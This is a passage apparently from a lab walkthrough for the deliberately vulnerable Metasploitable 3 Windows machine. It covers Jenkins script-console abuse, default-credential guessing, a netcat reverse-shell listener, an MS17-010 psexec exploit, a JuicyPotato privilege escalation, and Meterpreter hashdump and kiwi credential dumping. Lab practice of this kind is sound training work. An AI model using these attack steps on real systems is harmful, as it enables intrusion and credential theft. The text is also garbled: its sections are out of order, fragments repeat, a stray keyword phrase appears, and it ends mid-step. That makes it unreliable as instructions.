Developed by Rapid7 in collaboration with Vagrant, Metasploitable 3 is a deliberately vulnerable Windows machine designed to teach real-world Active Directory exploitation, misconfiguration management, and post-exploitation tactics. This is not a simple "click-and-exploit" box. It requires understanding Windows services, firewall rules, and privilege escalation vectors.
dir /s /b C:\*flag* dir /s /b C:\*proof* Usually located in C:\flags\ or C:\Users\Administrator\Desktop\proof.txt . "EternalBlue crashes the machine!" Metasploitable 3 is notoriously unstable under heavy SMB exploits. Solution: Don't use EternalBlue. Use exploit/windows/smb/ms17_010_psexec instead, which is less aggressive, or stick to WinRM. "I can't access port 445 from Kali." Windows Firewall might be blocking it. Revert the VM snapshot. Metasploitable 3 resets firewall rules on boot, but sometimes virtualization interfaces change. Ensure both VMs are on the exact same Host-Only adapter. "The Jenkins console is locked." The default credentials changed. Check the build.log from when you created the VM. Alternatively, try admin:admin , vagrant:vagrant , or blank. "My reverse shell isn't connecting." Windows Firewall is blocking inbound connections, but outbound is usually open. Ensure your Kali listener ( nc -lvnp 4444 ) is running. Use LHOST=192.168.56.101 and ensure no host firewall on Kali is blocking. Conclusion: What Did We Learn? This walkthrough of Metasploitable 3 Windows demonstrates a critical truth: Complex exploits (EternalBlue) are cool, but simple misconfigurations (WinRM with weak passwords) are how real breaches happen. metasploitable 3 windows walkthrough
Once in Jenkins, go to "Manage Jenkins" -> "Script Console". This is a Groovy script executor. You can run: dir /s /b C:\*flag* dir /s /b C:\*proof*
Introduction: Why Attack What is Already Broken? In the world of cybersecurity, you cannot defend what you do not understand. For years, Metasploitable 2 has been the golden standard for practicing ethical hacking—a Linux-based treasure trove of vulnerabilities. However, as enterprise environments shift, so too must our training grounds. hashdump # Or meterpreter >
Evil-WinRM gives you a native PowerShell prompt without needing to upload extra binaries. From here, you can:
Invoke-Command -ScriptBlock { C:\temp\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\temp\priv.txt" -t * } If successful, SYSTEM. You are now SYSTEM or Administrator . Your mission: Own the forest. Method A: Meterpreter (If you used MSF) meterpreter > hashdump # Or meterpreter > load kiwi meterpreter > creds_all Method B: Mimikatz via PowerShell If you are in a native shell (Evil-WinRM or cmd):
upload JuicyPotato.exe C:\temp\ Then run:
